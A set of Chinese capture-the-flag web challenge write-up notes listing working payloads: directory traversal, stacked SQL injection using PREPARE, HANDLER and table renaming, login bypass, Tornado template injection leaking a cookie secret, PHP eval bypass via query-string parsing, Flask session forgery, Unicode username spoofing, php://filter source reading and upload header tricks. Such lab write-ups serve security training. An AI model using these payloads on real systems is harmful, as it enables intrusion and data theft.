hint.php中给了flag的位置:
flag not here, and flag in ffffllllaaaagggg
checkFile()会截取到第一个问号:
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
source.php?/会被当作目录,之后回溯目录就好了(linux)
/source.php?file=source.php?/…/…/…/…/…/…/…/ffffllllaaaagggg
过滤了select 但是可以用堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。
0';show databases;#
0';show tables;# (有两个表1919810931114514,words)
0';show columns from `1919810931114514`;#(保留字,全数字为表名的表操作时要加反引号)
一:利用PREPARE STATEMENT
1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");PRepare+hello+from+@a;execute+hello;#
PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。
这里有个过滤strstr(KaTeX parse error: Expected 'EOF', got '&' at position 16: inject, "set") &̲& strstr(inject, “prepare”) 可用大小写绕过,空格用+代替
https://blog.csdn.net/weixin_37839711/article/details/81562550
二:利用handler代替select
1';handler `1919810931114514`open; handler `1919810931114514` read first;
三:修改flag所在表的表名为words。(输入1,2等所查的就是words)
把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再看一下表,表名已经修改成功了
再输入1’ or 1=1# 得到flag
过滤了很多关键字(union,if,sleep,extractvalue,等),被过滤会显示Nonono,感觉无法盲注,联合注入,报错啥的,不过可以堆叠注入
题目显示会验证你的flag是否正确
题目后面的查询语句大致为select $_GET['query'] || flag from flag
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能
1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期:*,1
查询语句就成了select *,1||flag from Flag
/welcome.txt
render
/flag.txt
flag in /fllllllllllllag
/hints.txt
md5(cookie_secret+md5(filename))
hints.txt 的url为/file?filename=/hints.txt&filehash=f568f0a9d82f146575451b511dfbccea
如要读取/fllllllllllllag,我们需要得到cookie_secret,然后算出filehash
错误时url为 /error?msg=Error
再结合render和tornado 可能存在模板注入
有过滤
但当前的RequestHandler对象是handler,使用handler.setting可以访问setting进而得到secret_cookie
/error?msg={{handler.settings}}
echo md5('0196a519-c982-4f84-a2f6-8bc9fb947312'.md5('/fllllllllllllag'));
把算出来的丢到filehash再改下filename提交就行
/check.php?username=admin&password=q2'+or+1=1%23
/check.php?username=admin&password=q2'+or+'1'='1
直接万能密码就能打
访问/calc.php 有源码
eval()把字符串当成 PHP 代码执行
直接?num 会被waf拦截
利用PHP的解析漏洞
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
?num变成? Num 加个空格
至于黑名单过滤引号无法用参数,用无参rec的思路
/calc.php?%20num=var_dump(scandir(chr(47)))
或者/calc.php?%20num=print_r(scandir(end(getallheaders())));
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
或者/calc.php?%20num=print_r(show_source(end(getallheaders())));
有登陆注册功能,先注册一个看看(注册时发现已有admin用户),注册后有修改密码功能,抓包看一下
且源码有提示
下载源代码审计,剩下的请看(讲的很细致,懒得再写一遍了)
https://blog.csdn.net/weixin_44677409/article/details/100733581
大致就是
解法一:flask session伪造
flask仅仅对数据进行了签名,并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的
利用里面的脚本https://github.com/noraj/flask-session-cookie-manager
解密session,再根据源代码中的SECRET_KEY = os.environ.get(‘SECRET_KEY’) or ‘ckj123’
加密伪造admin用户 session,然后修改密码。
解法二:Unicode欺骗
登录,注册,修改密码时都会进行name = strlower(form.username.data) 操作
使用nodeprep.prepare函数转换时过程如下:
ᴬᴰᴹᴵᴺ -> ADMIN -> admin
所以注册ᴬᴰᴹᴵᴺ,登录后变成ADMIN,修改密码时经过处理变成admin,即可成功修改admin密码
解法三:条件竞争
/?cat=123456 没变化
/?cat=dog 就出flag了
查看源码访问/action.php 记得抓包不然会直接跳转到end.php
伪协议直接打
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
然后解码即可
只能上传图片
继续测试回显: in contents!,文件内容不能包含
存在文件头过滤,需要添加图片文件的文件头(exif_imagetype函数判断)
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
• JPG :FF D8 FF E0 00 10 4A 46 49 46
• GIF(相当于文本的GIF89a):47 49 46 38 39 61
• PNG: 89 50 4E 47
-> 文件的内容不能包含,但可以上传